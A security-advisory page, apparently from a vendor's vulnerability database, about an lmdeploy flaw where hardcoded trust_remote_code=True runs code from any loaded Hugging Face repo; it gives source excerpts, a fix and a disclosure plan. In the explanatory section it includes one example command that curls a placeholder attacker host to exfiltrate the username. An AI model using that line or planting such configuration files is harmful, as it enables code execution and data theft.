Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-9xq9-36w5-q796

HIGH

GHSA-9xq9-36w5-q796 is a high-severity (CVSS 7.8) Code Injection vulnerability in lmdeploy. O3 Security confirms whether GHSA-9xq9-36w5-q796 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out

Also known asCVE-2026-46517PYSEC-2026-2608
Published
May 21, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed
Exploitation data as of Aug 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-9xq9-36w5-q796.

EPSS Exploitation Probability

via FIRST.org ↗
0.1%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs4th percentile — riskier than 4% of all scored CVEsHighest risk
0.00%0.22%0.43%0.65%0.1%0.1%0.1%Jul 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-9xq9-36w5-q796 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍lmdeploy

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim:

  • It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
  • It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim:

  • Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.
  • LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30).
  • The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.


F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / [email protected] Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

  • Repository: github.com/InternLM/lmdeploy, branch main.
  • Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
  • Pinned blob SHAs:
    • lmdeploy/archs.py68fa03a407734be1e2ae04098d34e9acdbe98262
    • lmdeploy/lite/apis/calibrate.py0728304bdc3c03eee1d790bfbd5496df080a0ecd
    • lmdeploy/lite/utils/load.py7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
    • lmdeploy/pytorch/check_env/model.pyb1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

  1. HF Transformers downloads the .py file from the repo.
  2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
  3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

  • Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
  • CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
  • Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

Projecttrust_remote_code defaultUser control
HuggingFace TransformersFalsetrust_remote_code keyword arg
vLLMFalse--trust-remote-code flag
LMDeployTrue (hardcoded)None
TGIFalse--trust-remote-code flag

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

  1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
  2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
  3. 90-day coordinated-disclosure window starting from acknowledgement.
  4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐍PyPIlmdeployall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for lmdeploy. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of lmdeploy has shipped for GHSA-9xq9-36w5-q796 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-9xq9-36w5-q796 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-9xq9-36w5-q796. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

> ## 📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain" > > The accurate description of this vulnerability is: > **"`get_model_arch` and related helpers hardcode `trust_remote_code=True` > with no opt-out, creating an implicit unsafe remote-code load path > on every model fetch."** > > What this report does NOT claim: > * It is NOT a network-attack RCE — the user supplies the model > reference; LMDeploy honors it. > * It is NOT a "supply chain" CVE in the classical sense (where a > benign upstream is compromised) — the user explicitly types the > repo name. >
O3 Security · Impact-Aware SCA

Is GHSA-9xq9-36w5-q796 in your dependencies?

O3 detects GHSA-9xq9-36w5-q796 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.